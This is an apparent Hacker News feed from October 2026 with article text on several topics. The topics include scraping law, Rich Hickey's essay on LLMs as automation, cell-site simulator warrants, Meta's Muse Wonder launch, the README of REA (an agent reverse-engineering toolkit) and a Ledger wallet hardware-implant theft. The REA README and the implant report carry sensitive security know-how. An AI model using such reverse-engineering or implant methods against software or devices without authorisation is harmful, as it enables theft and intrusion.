  • Copyright law (106). I spend some time explaining why ordinary web browsing might be copyright infringement because copyrighted material necessarily is downloaded into the browser’s RAM. The students really don’t like that discussion LOL. If web browsing is infringement, then scraping would be as well. In addition to the initial downloading, scrapers might encounter further 106 trouble with republishing some or all of the scraped material.
  • Copyright law DMCA (1201/1202). I don’t cover this angle in class yet because it’s too underdeveloped and chaotic, but I’m sure we’ll spend some time on 1201 today. To give you a preview, the 1201 rulings to date break my brain, and I have more questions than answers.
  • Many TOSes contain anti-scraping provisions, but it’s not clear if the TOSes are properly formed. In my Internet Law course, we spend a full 2 weeks discussing TOS formation. The law evolved a lot in the 2025 decisions in Chabolla and Godun in the 9th Circuit.

There may be other legal doctrines raised by scraping, such as trademarks and privacy rights.

So here’s why I say that scraping is not clearly legal. In order for a scraping campaign to be permissible, it must survive each and every one of the doctrines enumerated above. If the campaign fails any one of the doctrines, it’s not legal and the scraper can face significant consequences (including, in some cases, criminal liability). It is daunting to build a scraping campaign that can successfully navigate so many legal doctrines perfectly.

* * *

My apologies for such a long-winded introduction (although, I remind you that I’m a law professor, so loquaciousness isn’t really that surprising, is it?) The law of scraping is so complicated and multi-faceted that it’s easy for the discussion to go down rabbitholes or for conversants to talk past each other. I hope this intro provides some helpful structure and context for my more detailed comments.

Thanks again for engaging with the AMA. A blanket apology in advance for all of the times I answer “it depends,” “I don’t know,” or “that’s a good question.” And in all cases, don’t take my word as the final one—talk with your lawyer if you are making any decisions!

'AI' Is Not a Tool by Rich Hickey

Hacker News
gist.github.com
2026-10-12 14:00:25
Comments...
Original Article

All text that follows is from Rich Hickey via https://www.linkedin.com/pulse/ai-tool-rich-hickey-kjl8e

by Rich Hickey Published Oct 12, 2026

(I keep delivering this as a quip, here's a bit more)

First order of business - is ' tool ' going to have an interesting, distinguishing and thus illuminative meaning or be a mere platitudinous stand-in for "anything useful"?

We'll save tool as "anyone/thing that can be exploited" for the AI titans, for whom VCs, politicians, wannabe-titan-CEOs, software devs, rural towns etc are all 'tools'. The pockets on the front of my shirts are useful (I need to keep my reading glasses handy), but they are not tools. Similarly, fast food drive-thru windows are useful, but are not tools (more later).

Some definitions of ' tool ':

  • a device or implement, especially one held in the hand, used to carry out a particular function
  • an instrument (such as a hammer or saw) used or worked by hand : an instrument used by a handicraftsperson or laborer in their work

What I like best - A tool is something you wield .

  • wield - to use (as a tool or instrument) especially with full command or power : handle, manipulate, control

Especially useful in that are:

  • Held in your hand - a source of both control and feedback, and an indication of the intimacy of the act of use
  • Power - force, energy transmission and direction, leverage etc
  • Control - intention and continuous directing of the course of events

Tools are implements with which you do something, they do not do things for you. Tool use builds, rewards, and often requires, expertise and skill. The continuous application of technique and energy, and sensory feedback, are essential to the buildup of expertise (from experiri - "try").

Good tools have many properties LLMs lack - they are predictable, reliable, deterministic, of bounded function, hopefully simple etc.

What you learn while wielding a tool is something about the world, the task, the physics, logic etc of what you are trying to do or the situation you are trying to overcome. And often, something about yourself.

As a lifelong tool builder and user, I know what tools are. LLMs are not tools.

Control, sensory feedback, intention, intimacy, continuous direction, expertise etc are all missing from LLM use. LLMs are not wielded. LLMs are automation .

  • automation - (of a device or process) working by itself with little or no direct human control.

A drive-thru is not a tool for cooking, it is automation for avoiding cooking. LLMs are not tools with which you write code - they are automation with which you avoid writing code, to which you abdicate writing code.

You don't direct the action of an LLM - you make requests and it acts on its own, without your energy or continuous direction. This request/automation cycle is not wielding, it's not control, it's not continuous, it's without feedback.

What you are doing while using automation, instead of learning real-world truths, is attempting to divine the details du jour of some automaton. And striving to game them - e.g. ordering a custom burger (no onions) in order to get a freshly made one. Or filling voodoo.md with just the right incantations. You are only a software update from everything you've 'learned' being rendered obsolete by the latest algorithm. (A soggy cold burger from which the onions have been removed) You have traded working with the world to working for a capricious robot.

It is a mistake to be haphazard about "tools" being equivalent to utility, e.g. saying - "the LLM didn't write my paper, I just used it as a tool to read and summarize some research papers". But you didn't wield it to read those papers (as you might a Kindle). It read the papers, not you.

What do you miss by abdicating doing the reading? Pretty much everything. First and foremost, you miss learning how to write from those who can. You miss learning how to formulate an argument. You miss noticing things. You miss loading your background mind with fodder for novel ideas. You miss building trust in some authors and suspicion of others. You miss all the jokes. You miss all of the edges. You miss learning how to think.

Tools don't get "misaligned", they don't "go rogue", they don't "escape containment", "conspire" etc.

LLMs are not tools. I know many people use the phrase "just tools" simply to indicate "they are what you make of them". Except that's not true . Automation has intrinsic properties and differences from tools that you ignore at your peril.

Rich

AI coding agents generate more code, but not more software

Hacker News
arstechnica.com
2026-10-12 13:14:01
Comments...

Feds Got Warrants to Use Fake Cell Towers to Hunt Down Don Lemon's Producer

Hacker News
www.wired.com
2026-10-12 13:08:16
Comments...
Original Article

US law enforcement agents obtained authorization to use a controversial surveillance device capable of intercepting cell phone signals to find and arrest a 21-year-old college student who helped produce journalist Don Lemon’s coverage of an anti-ICE protest, court filings show.

The former student, Jerome Richardson, who has since graduated from Temple University, is among 39 people charged with conspiring to violate worshippers’ civil rights and interfering with religious worship at Cities Church in St. Paul, Minnesota , in January. Protesters said they targeted the church’s January 18 service because one of its pastors, David Easterwood, also led ICE’s St. Paul field office. Those charged include journalists Georgia Fort and Lemon, a former CNN host, who say they were there to cover the demonstration.

Twelve days after the protest, judges in two states began signing warrants authorizing agents to use so-called cell-site simulators, commonly known as Stingrays or IMSI catchers, to target Richardson’s phone: one in Minnesota on January 30 and another in Pennsylvania the next day. The purpose, his lawyers wrote in a motion seeking to exclude the tracking evidence, was “locating and arresting him.”

Agents also applied for cell-site simulator warrants targeting the phones of Fort and Jamael Lundy, then a Minnesota State Senate candidate. They separately sought pen register orders, which can log the numbers a phone contacts, for Fort and a number WIRED traced to Lemon. It's unclear whether a judge approved any of those applications.

The records reviewed by WIRED do not establish whether investigators actually deployed a cell-site simulator to locate Richardson or whether judges approved the applications targeting Fort and Lundy. In a July letter filed in court, Fort’s lawyers said prosecutors “did not know” whether the surveillance applications had been authorized or had yielded evidence.

Cell-site simulators impersonate cell phone towers to locate a target’s phone. In doing so, they can also collect identifying information from any nearby cellular device, including those belonging to people who aren’t suspected of a crime. That indiscriminate collection has made the devices controversial among privacy advocates, who describe them as dragnet surveillance tools.

The use of cell-site simulators has long been shrouded in secrecy. FBI records released in 2023 showed that police borrowing its simulators had to agree to keep details of their use secret, even in court. Privacy advocates have long warned that the devices could be turned against protesters and journalists.

“Using an advanced surveillance capability such as a cell-site simulator against members of the free press for reporting stories that are unfavorable to the president is an appalling attack on the First Amendment,” says Cooper Quintin, senior staff technologist at the Electronic Frontier Foundation, a tech-focused civil liberties nonprofit. Quintin has spent years researching the devices and developing tools to help people detect them. Using EFF’s detection software , WIRED found evidence suggesting a cell-site simulator was deployed near the 2024 Democratic National Convention in Chicago, though who operated it and for what purpose remain unknown.

Attorneys for Lemon, Lundy, and Fort did not respond to requests for comment. Richardson’s attorneys declined to comment on the record.

The previously unreported warrants are a product of a campaign of contentious investigative tactics waged by federal agents in pursuit of people connected to the protest at Cities Church. According to court records, the Department of Homeland Security demanded journalists’ telephone and YouTube records under a customs authority that requires no prior judicial approval . Agents also sought records identifying everyone who had purchased a particular beanie at REI in the Minneapolis–St. Paul area over a period of more than two years. Defense attorneys have identified 92 customs summonses and are challenging the government’s authority to issue them.

The cell-site simulator warrants raise serious questions about both the accuracy of the information investigators presented to judges in their effort to obtain authorization for surveillance tool’s use, as well as why they sought such intrusive tracking to find Richardson in the first place.

The affidavits supporting the applications to track Richardson claimed video showed Fort, Lemon, Richardson, and others “chanting with agitators.” Prosecutors have since conceded that Lemon and Fort did not chant. According to her lawyers, the government acknowledged that the false claim appeared in at least 15 warrant affidavits.

DHS policy says cell-site simulators are deployed only “in the fraction of cases in which the capability is best suited to achieve specific public safety objectives,” but it’s unclear what specific public safety reason justified its use in this case. Investigators obtained a second simulator warrant to locate Richardson, then a senior at Temple University, two days before he walked up to a federal courthouse in Philadelphia and voluntarily surrendered. He was released on bond that afternoon.

The Justice Department responded to WIRED’s request for comment by writing in an email that the department “speaks through its court filings.” DHS declined to discuss ongoing investigations or investigative methods and referred questions to the US Attorney’s Office for the District of Minnesota, which did not respond to a request for comment.

The warrant was signed January 31, the same day Richardson posted a YouTube video saying he expected to enter federal custody “in the coming days,” suggesting he had no intention of fleeing. It is unclear whether the warrant preceded the video, leaving questions about why investigators sought such an intrusive tool to find someone who was publicly anticipating his arrest and whom prosecutors agreed to release the day he surrendered.

While Richardson’s suppression motion asks to suppress evidence obtained from the phone tracking, it does not specify whether agents used a simulator or obtained evidence through either.

A former federal prosecutor who spent a decade working on counterterrorism cases says using a simulator to locate someone is not necessarily unusual. But based on the court records they reviewed about Richardson’s case, they called the government's tactics aggressive: “I don’t understand why it would be at all necessary.” They spoke on condition of anonymity because they were not authorized to speak on the record

Richardson, a St. Paul native, had led an NAACP chapter at 16 and served as executive director of Minnesota Teen Activists, according to his fundraiser’s organizer. He described his work for Lemon as handling logistics and connecting him with local contacts. He drove the journalist to Cities Church, where Lemon livestreamed the demonstration and interviewed protesters and churchgoers. Prosecutors allege Richardson joined chants and obstructed congregants.

In his video, Richardson defended his role. “I was proud to support his work,” he said of Lemon. “This is the price of being unapologetic about humanity and love of Christ.”

The government’s initial effort to obtain arrest warrants met resistance from judges. A magistrate judge refused five of eight warrants, and after an appeals court rejected the Justice Department's bid to override that decision, the department withdrew its request. In a filing with the appeals court, the chief judge wrote that two of the five “were not protestors at all; instead, they were a journalist and his producer” and that there was “no evidence that those two engaged in any criminal behavior.” Prosecutors later secured a grand jury indictment on January 29.

The way the government chose to arrest some defendants has also drawn objections from defense lawyers. Lemon’s attorneys say in court filings that prosecutors rejected their offer to arrange his surrender; agents instead arrested him shortly before midnight at a Beverly Hills hotel while he was covering the Grammy Awards. Fort’s lawyers say agents arrested her at home rather than allowing her to turn herself in.

Thinking Will Become a Hobby

Hacker News
www.spinellis.gr
2026-10-12 12:54:08
Comments...
Original Article

These lines are very difficult for me to write because I feel like digging my own grave. AI systems are improving by leaps and bounds. From the early 2022 fumbling release of ChatGPT, which couldn’t correctly count the number of a’s in my name (it claimed two), we reached OpenAI’s release of math papers where an internal AI model solved many hundreds of previously open math problems. Aside from philosophical arguments, practical claims regarding the superiority of human thought, on grounds such as hallucinations or bias, increasingly appear to me like rearguard defence. For the bulk of today’s cognitive work, the writing’s on the wall: AI will take over.

The three factors driving AI’s dominance in the modern work environment are better performance, lower cost, and higher availability. The performance of AI models is rising spectacularly on all fronts: perception, knowledge processing and creation, reasoning, judgement, and autonomous action. In parallel, human proficiency in key information-processing skills, low on average among adults , is even declining among students . Consequently, AI systems are performing better than humans in ever-wider range of tasks.

AI’s cost is also falling due to huge investments and scientific progress. Successive generations of AI models offer superior performance at lower cost, with older models retained only for backward compatibility. As a result, it is making financial sense to replace or augment human labour with AI systems across an increasingly broad range of activities.

Finally, and most obviously, AI systems can operate around the clock, without the need for rest or breaks. They can also help alleviate labour shortages arising from demographic trends or skills gaps. Meanwhile, trillions of dollars in projected data centre investment through 2030 are set to bring vast additional AI processing capacity online.

As happened in past technological revolutions, there will undoubtedly be fierce resistance to the replacement of cognitive work with AI. This time it will be fiercer because, unlike previous revolutions, which transformed manual labour, AI challenges knowledge workers, whose specialised expertise, control over information, and decision-making authority afford them greater economic and organisational power. Governments will try to clip AI’s wings through regulation and taxation. Such actions didn’t quell past revolutions so there’s little reason to believe they’ll work now.

So what’s the fate of human thought? My take is that cognitive work will diminish. Thought will increasingly become a leisure pursuit, as hunting did following animal domestication, calligraphy after typography, woodworking after industrialisation, and horse riding after motorisation. Machines transformed much of physical activity from necessity into choice; similarly, AI will decouple human thinking from its economic purpose.

I’ll end with my thoughts on how to prepare for and live through this transition. My take is that building this AI-driven world, riding through the bumps along the road, and preparing to live a fulfilling and satisfying life in an environment where AI dominates cognitive work will be hugely demanding, stressful, and intellectually challenging. Such is the nature of revolutions. Consequently, we must keep pace with and capitalise on AI’s advances; be flexible, adaptable, and resilient; and build a purposeful and rewarding life beyond work. My challenge ahead is to move from making a living by thinking, to making thinking part of a life worth living.

Comments Post Toot!

Muse Wonder

Hacker News
research.meta.ai
2026-10-12 12:48:01
Comments...
Original Article

Researchers introduce Muse Wonder and discuss its capabilities. playback position 0:00 of 0:00

A frontier model that leads on personal and professional agents

Today, we’re excited to introduce the Muse Wonder series with Muse Wonder and Muse Wonder Full, our most capable models that deliver state-of-the-art performance on personal and professional agentic tasks. Together, they mark the next step on our scaling ladder and a major leap toward personal superintelligence. Muse Wonder brings together Active Memory and Active Focus to keep track of what matters to you and work diligently toward what you want to accomplish.

Muse Wonder is available today through the Meta Model API and Muse Code , and Muse Wonder Full is available today for Muse Code subscribers.

Muse Wonder will soon power experiences in Muse , and will roll out first to subscribers. Muse Wonder will also power artifact generation and processes that require more intelligence. And in the future, we’ll be using Muse Wonder to develop specialized models that we can bring to everyone using Muse.

Scaling Toward Personal Superintelligence

Fourteen months ago, we began a ground-up overhaul of our artificial intelligence efforts. In that time, we’ve gone from rebuilding our stack from first principles to pushing the frontier.

When we introduced Muse Spark , we outlined our approach to predictable, rigorous scaling. Today’s release builds on that work across pretraining and reinforcement learning, delivering our most capable models yet. Trained at our gigawatt-scale Prometheus data center, Muse Wonder and Muse Wonder Full bring together the work of teams across Meta to deliver frontier capabilities for complex tasks at work and in everyday life — another step toward bringing personal superintelligence to the billions of people who use our products.

Frontier Capabilities

Model Highlights

The Muse Wonder series achieves state-of-the-art results across key benchmarks for personal and professional agents, memory, and coding.

The full results below compare Muse Wonder and Muse Wonder Full with other frontier models across a broad evaluation suite.

For more details about our evaluations, see our report .

The results above provide a broad view of the models’ performance. We now take a closer look at four areas central to their work on real-world tasks: domain expertise, Active Memory, Active Focus, and frontier coding.

Domain Expertise

Muse Wonder and Muse Wonder Full apply specialized knowledge to problems people encounter at work and in daily life, from understanding a lease to making sense of financial or health information. Our evaluations include tasks in law, finance, and health that test this ability. Harvey’s Legal Agent Benchmark (LAB), for example, requires models to work with source documents and follow detailed instructions to produce legal work products.

Active Memory

One of the most critical steps towards useful personal and professional agents is reliable memory. Models need to remember what matters and recognize when earlier information becomes relevant. We call this Active Memory : carrying important context about you across conversations and actively retrieving the details relevant to the task at hand.

Active Focus

Using that context to complete a task also requires sustained effort. Active Focus describes how Muse Wonder continues working toward a challenging goal: trying alternative approaches, working through blockers, and adapting to new information. Along the way, it asks for clarification when needed and checks in before taking important actions. We evaluate focus through FocusBench and sustained execution through SWE-Marathon, which tests work on long-running software projects.

Frontier Coding

Coding brings these capabilities together. Building software requires tracking requirements, making changes across a codebase, and working through repeated cycles of testing and revision. Muse Wonder and Muse Wonder Full deliver frontier coding performance, supporting projects from small applications to complex software. We trained both models on diverse, long-running tasks to help them sustain progress across this process.

Loading demo

Muse Wonder builds a playable 3D kitchen game from customizable image inputs.

Capabilities That Generalize

Two models often have similar benchmark scores, yet one seems to handle a much wider range of unfamiliar tasks. That’s what complaints of “benchmaxxing” and praise for “big model smell” both get at: a breadth of capability that popular benchmarks in a few domains can’t fully capture.

To quantify this mismatch, we investigate how performance on tasks targeted during post-training relates to performance on unfamiliar tasks as we scale test-time compute. The plot below compares Muse Spark 1.3 and Muse Wonder Full, with each point denoting performance at a distinct reasoning effort. The horizontal axis shows the model’s score on a composite representative of the tasks we focused on during post-training (“in-distribution”). The vertical axis shows the average score on a set of tasks we did not target during post-training (“out-of-distribution”).

Both of our models improve similarly on out-of-distribution tasks as we scale test-time compute. But given its in-distribution performance, Muse Wonder Full performs even better on unfamiliar tasks than the Muse Spark 1.3 trend would predict. This upward shift is because Muse Wonder and Muse Wonder Full build on larger, stronger base models: a stronger base yields post-training gains that carry over more effectively to unfamiliar tasks. That versatility especially matters for personal agents, which need to handle many combinations of goals, tools, and constraints — not all of which we can anticipate during training.

Screen recording of the Saturday Run Planning agent demonstration. playback position 0:00 of 0:00

Working directly in a browser and across apps, Muse Wonder builds a running plan (Map data © OpenStreetMap contributors) based on personal preferences and circumstances.

Safety at the Frontier

Delivering personal superintelligence to everyone requires a significant investment in alignment and safety. A personal agent takes actions on a user’s behalf and might handle context such as messages, calendars, and private documents. That level of access demands a model that exercises discretion with private information and resists misuse. We trained the Muse Wonder family to lead on both dimensions, with robustness to adversarial instructions and careful handling of private information.

As models become more capable, our goal is to help people harness those capabilities safely and responsibly. Muse Wonder offers our strongest safeguards to date against CBRN (chemical, biological, radiological, and nuclear) and cyber misuse, while preserving access to frontier cyber capabilities for defensive use, per our Meta Superintelligence Scaling Framework .

Muse Wonder is our most aligned model to date, and alignment is central to how we build personal superintelligence. A full report with additional safety evaluations will be available soon.

We hope that Muse Wonder and Muse Wonder Full give more people the power to pursue their dreams and build the world they want. This is a major technical step toward personal superintelligence for everyone, with much more to come.

People pursue personal and professional goals as narration introduces Muse Wonder. playback position 0:00 of 0:00

Launch HN: Agent37 (YC F26) – Low-cost agent sandboxes for running agents

Hacker News
news.ycombinator.com
2026-10-12 12:46:34
Comments...
Original Article

Hey HN, I’m Vishnu from Agent37 ( https://agent37.com ). We build sandboxes for running AI agents at under 10% of the cost of most sandbox providers. Our customers spend an average of $0.37/month per sandbox.

You can view a video walkthrough of the product here: https://youtu.be/DK5ISR2tbNo

We started as one of those OpenClaw wrapper companies back in February (yup.. judge me). In time we added more and more harnesses.

One of the goals I had at the time was to offer a free plan to users, so as to gain more market share. But it was too cost prohibitive to do it right away. Especially since we were bootstrapped and servers were running on my savings.

Today we’re actually able to offer the free plan thanks to the optimizations we’ve made since. Over 90% of the new signups we have are just free plan users and they host their personal Hermes/Openclaw/Claude Code etc on our cloud. Our infrastructure cost for the free sandboxes averages around $0.05 to $0.10 per user per month.

Here are some techniques that have worked for lowering cost:

* When you look at agent harnesses, they have certain patterns in the way they consume CPU and RAM. They need CPU in bursts when they’re initializing or performing certain tasks, but beyond that, they’re often not peaking. They need more RAM for things like browser and computer-use tasks. Once the task is done, usage often comes back down. This is a key insight in lowering cost, so by efficiently managing the CPU/RAM utilization we could lower the cost.

* Secondly, you have to skip the hyperscalers when renting the Hosts. I worked at Amazon before and they have 80-90% margins on VMs. So it was an obvious choice once I looked at the prices to go one layer down to vendors like Hetzner and OVH. This alone was probably one of the biggest cost levers in reducing the cost.

* Thirdly, you also want to pick a technology stack that lets you efficiently cache and share resources across the host. We use gVisor for better utilization and fast boot times. It lets us use available host memory across sandboxes without reserving a full VM’s memory for each one. There are tradeoffs: our gVisor sandboxes don’t support workloads like Docker-in-Docker or Android emulators.

* And finally the size and shape of the hosts you buy also makes a big difference. RAM is typically the bottleneck when it comes to cost and not the CPU. This is specifically true for agent harness workloads, so when buying servers, we optimize for packing more RAM into a given host.

We also host full VM sandboxes for workloads that need them, including running Docker at a slightly higher price, but they are still pretty low cost given the rest of the techniques.

Overall, my learning has been that just by focusing on a niche of sandbox usecases, and optimizing for it you can give a much better cost/performance tradeoff.

I was previously a Senior Software Engineer at Amazon and an Engineering Manager at Quantcast. I built Amazon's internal AI chatbot, Diya, and their internal coding harness, Ziya.

If you’re someone who’s looking to run agents on sandbox and are exploring a sandbox vendor, come check us out. We’re particularly looking for developers building messaging agents to try their workloads and challenge the limits and economics of our platform.

Thanks!

https://agent37.com

Mark Stephens, a.k.a. Robert X. Cringely, Died at 73

Daring Fireball
www.facebook.com
2026-10-12 12:43:46
Mary Alyce Stephens (née Neader), posting on Cringely’s Facebook account: Hello, this is Mary Alyce, Bob’s wife. I am coming to you with immense sadness to let you know that Bob passed away. His obituary follows. His family is not requesting anything, however, if you would like to make a donatio...
Original Article

Explore the things you love .

Reverse engineer anything with agents, from app behavior down to native binaries

Hacker News
github.com
2026-10-12 12:31:55
Comments...
Original Article

See a feature in an app that you want in your own product? Ask your agent to investigate it with REA. It can inspect the app without its source code, explain how the feature works, show the evidence, and build a version for your project.

REA connects your agent to tools for inspecting native binaries, JavaScript and Electron apps, .NET assemblies, and websites. You can also use the same tools from your terminal. Analysis runs locally, and results include the evidence and limitations behind each conclusion.

Setup registers REA with your agent and installs matching workflow instructions. Native analysis can use an existing Hopper, Ghidra, or IDA installation; setup can optionally install Hopper with approval. Static JavaScript analysis needs no native analysis engine.

Visit the REA website for setup instructions, illustrated guides, and real case studies.

Quick start

Set up your agent

With Node.js and npm installed, run:

Choose your agents, review the proposed changes, and approve them. Setup adds REA's MCP server and matching workflow instructions, with backups of existing configuration. Restart your agent afterward.

Setup supports Claude Code, Codex, Cursor, Gemini CLI, Grok Build and other agents . See installation and setup for provider configuration and manual MCP registration.

Ask your agent

Understand how search works in the Notes app, show me the evidence, and build a
similar feature for my project.

Replace Notes with your target app and the feature you want to understand.

Use the terminal

Inspect an extracted JavaScript/Electron app directory or ASAR:

npx -y rea-agents@latest analyze-javascript-application /absolute/path/to/app --json

The result includes modules, imports, Electron boundaries and their evidence. Replace the path with your target, such as "D:/apps/example" on Windows.

To install the rea command for regular use:

npm install --global rea-agents
rea --help

For native analysis, configure a provider first. See the CLI and Evidence guide for native commands, provider selection, snapshots and scripting.

Update REA

REA changes quickly, and new releases include frequent bug fixes. Keep your installation up to date.

For a CLI installed with npm install --global or bun add --global :

Bun global updates require Bun 1.2.17 or later. With an older Bun release, upgrade Bun manually before running rea update .

To refresh your agent registrations and skill, run the setup command printed by the update.

If you use npx , update your agent setup with:

npx rea-agents@latest setup

Review the setup changes and restart your agent. For one-off CLI commands, use npx rea-agents@latest followed by the command. With Bun, use bunx rea-agents@latest in place of npx rea-agents@latest .

How REA works

Your agent calls REA through MCP to inspect the target and trace relevant code. REA returns findings with their evidence. The agent uses them to ask follow-up questions, explain the behavior, or write and test an implementation. CLI commands use the same workflows.

REA investigation flow: your agent asks about a local target, REA inspects and traces it using analysis tools, and the agent uses the returned code, references and unknowns to explain, implement and test.

Open the full-size figure .

What you can analyze

REA requires Node.js 22.x (>=22.19), 24.x (>=24.11), or 26+, plus npm. Additional tools and host support depend on the target:

Target What REA returns Requirements and guide
Native binaries Pseudocode, assembly, strings, symbols, calls and references Hopper, Ghidra or IDA; native analysis
Offline ELF layout Sections, segments, original symbols/relocations and static mitigation candidates Caller-supplied pwntools on Linux x64; binary diagnostics
Go binaries Embedded compiler version, modules, replacements and build settings Built-in static ELF/PE/thin Mach-O inspection; no Go installation required
WASM artifact Validation, sections, exact import/export WAT forms and decoded WAT Caller-supplied WABT 1.0.42; inspect_wasm_artifact
EVM bytecode Dispatch selectors, byte offsets, inferred arguments and mutability Local raw/hex carrier on Linux x64; offline EVM guide
Recorded Linux crashes Raw notes, every recorded thread's registers/signals and optional mapping candidates Caller-supplied pwntools on Linux x64; optional GDB/pwndbg; recorded crashes
JavaScript / Electron Modules, imports, source maps, routes, IPC and native add-on relationships Node.js and npm; application analysis
Websites Page structure, scripts, network observations and requested screenshots A Chrome-family browser; browser analysis
Saved network captures Requests, responses, exposed payloads and source locations HAR; mitmdump on Linux for native mitmproxy captures; capture guide
.NET assemblies Metadata, CIL instructions, declared native dependencies and build comparisons None (static only); managed-code guide
Android APKs Manifest declarations, classes, decompiled methods and references Headless JADX and a full JDK on Linux/macOS/Windows x64; Android guide
Android devices Devices, packages, processes, logs, dumps, screen captures, and APK/file transfers Caller-supplied adb (emulator or hardware); ADB guide
JEB projects Engine-backed project units, artifact digests and type/method pseudo-code A caller-started JEB client serving MCP, selected with REA_JEB_MCP_URL; JEB guide
Android resources Decoded manifest, string tables, locales and version facts Caller-supplied Apktool launcher; resource guide
Flutter apps Dart snapshot hash, per-ABI library digests and engine build provenance None (static APK parsing); Flutter guide
Firmware Regions, extraction results and native-analysis handoffs Binwalk / Unblob on Linux; firmware guide
Packages and resources File inventories, digests, plists, Apple bundle anatomy and extracted resources Artifact and JavaScript guide , Apple applications
Process behavior Terminal output, interactions, exit and filesystem observations, and run comparisons Linux/macOS with a native PTY; process capture

Static JavaScript and .NET inspection read the supplied files without running the application. Runtime capture runs or interacts with the selected target using your user permissions; each runtime guide describes its effects.

Native formats and host support vary by provider. See Hopper and Ghidra setup , the IDA guide , and experimental Windows Ghidra support . Ghidra also supports 16-bit DOS analysis . For large binaries, raise the provider's startup deadline with REA_GHIDRA_STARTUP_TIMEOUT_MS or REA_HOPPER_STARTUP_TIMEOUT_MS . For provider selection, see the CLI guide . Check release availability for features added since the latest npm release.

Showcases

Illustrations of the DX-Ball sound-pan, Notion clipboard-bridge, and TH04 bullet-ring showcases

DX-Ball: reconstruct a sound-pan calculation

Follow a sound call into its position-to-pan helper, inspect the instructions, and turn incomplete pseudocode into C. The reconstruction passes 3,205 original-x86 cases and reproduces all 63 compiled function bytes.

Read the case study · Reconstruction repository

Notion: trace the Electron clipboard bridge

Find the renderer's clipboard API, follow it through preload and IPC into the main process, and inspect the rich clipboard format.

Read the case study

TH04: recover a DOS bullet-ring calculation

Inspect the original PC-98 game's 16-bit instructions, recover the fixed and aimed angle calculations, and compare the reconstructed C++ with the historical compiler output.

Read the case study · Reconstruction repository

If you've used REA on something interesting, we'd love to see it. Share your case in an issue or a pull request , including the target, your question, how REA helped, and what you found.

FAQ

Which agents can use REA?

Any agent that supports local MCP servers. Setup configures the supported agents ; other clients can use manual MCP registration .

Do I need Hopper, Ghidra or IDA?

Deep native analysis uses one of them. Static JavaScript and .NET inspection work without a native analysis engine. Setup can install Hopper after approval; Ghidra and IDA use your existing installations. See provider setup .

Do I need to start Hopper first?

REA starts Hopper when an operation needs it. On macOS, a first-run dialog may ask you to choose demo mode or activate your license. Complete that prompt in the same user session before your first CLI/MCP operation or unattended job. Open Hopper manually if needed. See Hopper startup and troubleshooting .

What does installing the skill from skills.sh do?

The skill supplies investigation instructions for your agent. Use npx rea-agents setup to register REA's MCP server and install the matching instructions, then restart your agent. See skill-only installation .

What code does REA return?

Native analysis returns pseudocode and assembly. JavaScript/Electron analysis recovers modules and their relationships. Your agent uses these findings to write and test an implementation; the showcases give worked examples.

Does REA upload my app?

REA analyzes targets locally. Your agent receives the tool results, and its model provider has its own data policy.

What should I do if I hit a bug?

Update first; a recent release may already fix it.

For a CLI installed with npm install --global or bun add --global :

For agent setup through npx :

npx rea-agents@latest setup

If you're using an agent, complete the setup refresh and restart it. Retry the same task. If the problem persists, open an issue with your REA version, target type, steps to reproduce and error output.

Documentation

Start with the website's worked guides . For exact options, prerequisites and result contracts:

Report vulnerabilities through SECURITY.md .

Star history

🎉 110,000 GitHub stars — thank you!

Thanks to everyone using REA, reporting bugs, requesting features, testing builds, and contributing fixes.

REA GitHub star history

Disclaimer

See DISCLAIMER.md for responsible-use guidance.

The project's position on illegal or unauthorized use covers all REA versions, distribution channels, and platforms; each copy retains its applicable licenses.

REA is for lawful research, education, interoperability, software preservation, and analysis of software you own or are authorized to examine.

Contributing

We'd love your help with REA! Open an issue to report a bug or suggest a feature, or send a pull request to improve the code or docs.

See CONTRIBUTING.md for development setup and checks, testing for verification lanes, and the architecture map for the project structure.

License

MIT

REA-authored code is licensed under MIT. Third-party material retains its own licenses and copyright notices; see Third-party notices for the dependency inventory, preserved license texts, and external-tool terms.

You must legally obtain and be authorized to use commercial tools , including IDA Pro / Hex-Rays decompilers, Hopper, and JEB, under their applicable licenses. REA grants no tool license, key, or activation entitlement. Trials and demos remain subject to vendor terms, including user, feature, automation, and output sharing restrictions. Cracked copies, stolen keys, unauthorized key sharing, and bypassing license restrictions are not authorized. This guidance does not amend MIT or third-party licenses.

Ledger confirms spy chip implant behind wallet crypto thefts

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 12:27:23
Ledger has confirmed that some of its devices distributed through Southeast Asian reseller CryptoBilis were compromised with a hardware implant that drained users' cryptocurrency wallets. [...]...
Original Article

Ledger confirms hardware wallet spy implant behind crypto thefts

Ledger has confirmed that some of its devices distributed through Southeast Asian reseller CryptoBilis were compromised with a hardware implant that drained users' cryptocurrency wallets.

The company has been investigating reports of users losing funds from wallets purchased through CryptoBilis, a major Malaysia-based hardware wallet retailer operating across Southeast Asia.

Some researchers have shown the implant in Ledger X since September 16, saying tampered devices were available for nearly half the price of the original hardware.

Ledger wallets are physical devices designed to securely store the private keys that control cryptocurrency assets and authorize transactions.

On October 9, Ledger said it had launched an investigation into user reports of cryptocurrency losses and asked CryptoBilis to stop selling and shipping Ledger devices.

Ledger

The next day, the company confirmed hardware tampering on at least one device, though it’s still unclear exactly how or when the devices were tampered with.

"Ledger can confirm that one of the impacted users’ devices contained an unauthorized hardware implant. Ledger is reaching out to impacted users as part of the ongoing investigation," Ledger said.

The crypto wallet maker also noted that it was working with authorities to identify the perpetrator and bring them to justice.

“[...]Ledger recommends users who purchased a Ledger device from this reseller to not initiate set up if they have not yet done so. If you have set up your Ledger device, consider moving assets to a new Ledger signer (with a new seed),” warned Ledger .

Yesterday, Ledger provided another update , confirming that all user reports of unexpected fund drains were linked to devices sold through CryptoBilis and describing the affected volume as “limited.”

While the company did not disclose the type of devices compromised in this supply-chain attack, reports online talk about a spy implant in Ledger X devices that blends with the legitimate hardware.

Mark Karpelès, currently leading Karpeles Lab Inc. and CTO at Shells.com, showed a picture of the new implant in Ledger X, saying that it was "quite an evolution" from previous versions featuring manually soldered wires.

The former CEO of Mt. Gox said the implant was concealed behind the screen, but its antenna cable would have indicated that something was wrong.

According to Karpelès, the malicious hardware captured the device's display output and button presses to identify the seed phrase, then transmitted it to the attacker over an LTE connection using an eSIM.

"Ledger Nano X are used to store crypto. The spy implants are used to steal whatever crypto you store in those Ledger Nano X," Karpelès explained .

Although the CEO did not name CryptoBilis as the vendor of the compromised LedgerX, he said the device was not purchased via Ledger's recommended channels but from "a well known platform via a Chinese seller (product shipped from Malaysia)."

Tibane Labs, a cryptocurrency research and development studio, confirmed Karpelès' finding, adding that there were two implant versions for Ledger X.

